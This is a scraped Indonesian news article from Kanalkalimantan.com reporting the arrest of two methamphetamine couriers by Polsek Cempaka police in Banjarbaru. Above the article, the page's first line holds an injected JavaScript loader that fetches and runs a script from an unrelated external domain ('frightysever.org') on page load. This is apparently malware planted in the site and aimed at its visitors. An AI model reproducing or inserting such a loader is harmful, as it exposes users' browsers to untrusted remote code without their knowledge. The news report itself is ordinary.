(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Sektor (Polsek) Cempaka menggagalkan peredaran gelap narkotika di Ibu Kota Provinsi Kalimantan Selatan (Kalsel).
Melalui konferensi pers yang dilaksanakan, Rabu (6/11/2024) pagi, jajaran Polsek Cempaka berhasil menangkap residivis pengedar narkotika asal Batibati.
Kapolsek Cempaka, Iptu Ketut Sedemen menyebutkan, sejumlah barang haram berhasil diamankan langsung dari tangan residivis bernama Fuad (31) yang baru saja bebas dari Lapas Narkotika Karang Intan.
“Fuad ditangkap di SPBU Cempaka pada Minggu (27/10/2024) dengan membawa sekitar 100,4 gram narkotika jenis sabu” ujar Kapolsek Cempaka dalam keterangan yang diterima, Rabu (6/11/2024) pagi.
Baca juga: Paman Birin Hilang, KPK Rilis Surat Perintah Penangkapan
Dari tangan Fuad, personel Polsek Cempaka berhasil mengamankan 100,4 gram sabu yang dibungkus dengan kemasan snack.
Lebih lanjut kata Kapolsek Cempaka, Fuad berperan sebagai kurir barang haram tersebut.
“Dia diiming-imingi uang Rp3 juta dengan motif kesulitan ekonomi,” beber dia.
Baca juga: Sosialisasi Kerja Sama Daerah untuk Percepat Pembangunan di Kabupaten Banjar
Selain mengamankan sabu, personel Polsek Cempaka juga menyita satu buah handphone, snack, dan tissue.
Sedangkan dari sabu yang diamankan, Polsek Cempaka berhasil menyelamatkan 200 orang dengan akumulasi uang sebesar Rp177 juta.
Tak hanya residivis Fuad, polisi juag mengamankan warga Sungai Tiung yaitu Hormansyah (24) yang membawa sebanyak 5,07 gram sabu.
“Warga lainnya Hormansyah diamankan di SMPN 13 Banjarbaru, Minggu (27/10/2024), memiliki peran yang sama seperti Fuad, yakni sebagai kurir sabu,” sebut Kapolsek.
Baca juga: Bedah Buku Pendidikan dan Sejarah Islam Dispersip Kalsel
Kapolsek menjelaskan bahwa Hormansyah juga diiming-imingi uang sebesar Rp2 juta.
Kini, keduanya mendekam di rutan Polsek Cempaka. Keduanya, terancam pasal 114 ayat (2) Sub 112 Ayat (2) Undang-Undang RI Nomor 35 tahun 2009 tentang Narkotika.
“Mereka diancam hukuman 6 tahun penjara,” tandas Kapolsek Cempaka. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Sebuah kegiatan sosialisasi tentang Kerja Sama Daerah di Lingkungan Pemerintah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar kegiatan bedah… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menerbitkan Surat Perintah Penangkapan (Sprinkap) lantaran Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Motif terlihat utang diduga menjadi pemicu seorang lelaki 37 tahun akhiri hidup… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tugu Bundaran Simpang Empat Banjarbaru akan dipercantik dengan bermandi cahaya lampu pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tim penyidik Komisi Pemberantasan Korupsi (KPK) pada Selasa (5/11/2024), memeriksa lima saksi… Read More
This website uses cookies.